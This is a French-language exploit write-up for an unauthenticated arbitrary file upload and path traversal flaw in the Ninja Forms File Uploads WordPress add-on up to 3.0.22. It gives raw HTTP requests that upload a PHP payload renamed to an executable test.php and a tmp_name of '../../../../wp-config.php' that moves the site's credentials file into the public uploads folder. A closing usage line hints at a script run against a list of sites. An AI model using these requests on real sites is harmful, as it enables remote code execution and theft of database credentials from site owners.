
(Wordpress) Extension Ninja Forms File Uploads <= 3.0.22 – Téléchargement arbitraire de fichiers non authentifié
(WordPress) Extension de téléchargement de fichiers Ninja Forms <= 3.0.22 – Téléchargement arbitraire de fichiers non authentifié
Traversée de chemin et téléchargement de fichiers sans restriction existent dans le plugin Ninja Forms avant la version 3.0.23 pour WordPress (lorsque le module complémentaire Uploads est activé). Cela permet à un attaquant de parcourir le système de fichiers pour accéder aux fichiers et exécuter du code via les paramètres name et tmp_name de includes/fields/upload.php (également connu sous le nom de page upload/submit).
Requête initiale de téléchargement de fichier :
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
Réponse :
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
Lorsque le formulaire est soumis, le fichier tmp initialement téléchargé est déplacé vers un nouvel emplacement :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
Le paramètre « name » est ensuite « nettoyé » par la fonction WordPress sanitize_file_name, qui se contente essentiellement de supprimer un ensemble de caractères spéciaux prédéfinis :
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Supprime les caractères spéciaux interdits dans les noms de fichiers
sur certains systèmes d'exploitation et les caractères spéciaux
nécessitant un échappement particulier pour être manipulés en ligne de commande.
Remplace les espaces et les tirets consécutifs par un seul tiret.
Supprime les points, tirets et underscores au début et à la fin du nom de fichier.
Il n'est pas garanti que cette fonction retourne un nom de fichier
autorisé à être téléchargé.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
Cela a pour effet de déplacer le fichier tmp vers son emplacement final : /wp-content/uploads/ninja-forms/1/test.php
Si le dossier de téléchargement n'a pas été rendu explicitement non exécutable, ce qui n'est pas le cas par défaut, cela entraîne une exécution de code :

Traversée de chemin dans tmp_name :
lors de la soumission du formulaire, il est également possible de parcourir le système de fichiers via le paramètre tmp_name comme indiqué ci-dessous. Gardez à l'esprit que les fichiers tmp sont déplacés vers leur nouvel emplacement dans le dossier uploads !
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
Cela a pour effet de déplacer le fichier wp-config.php vers l'emplacement suivant : /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt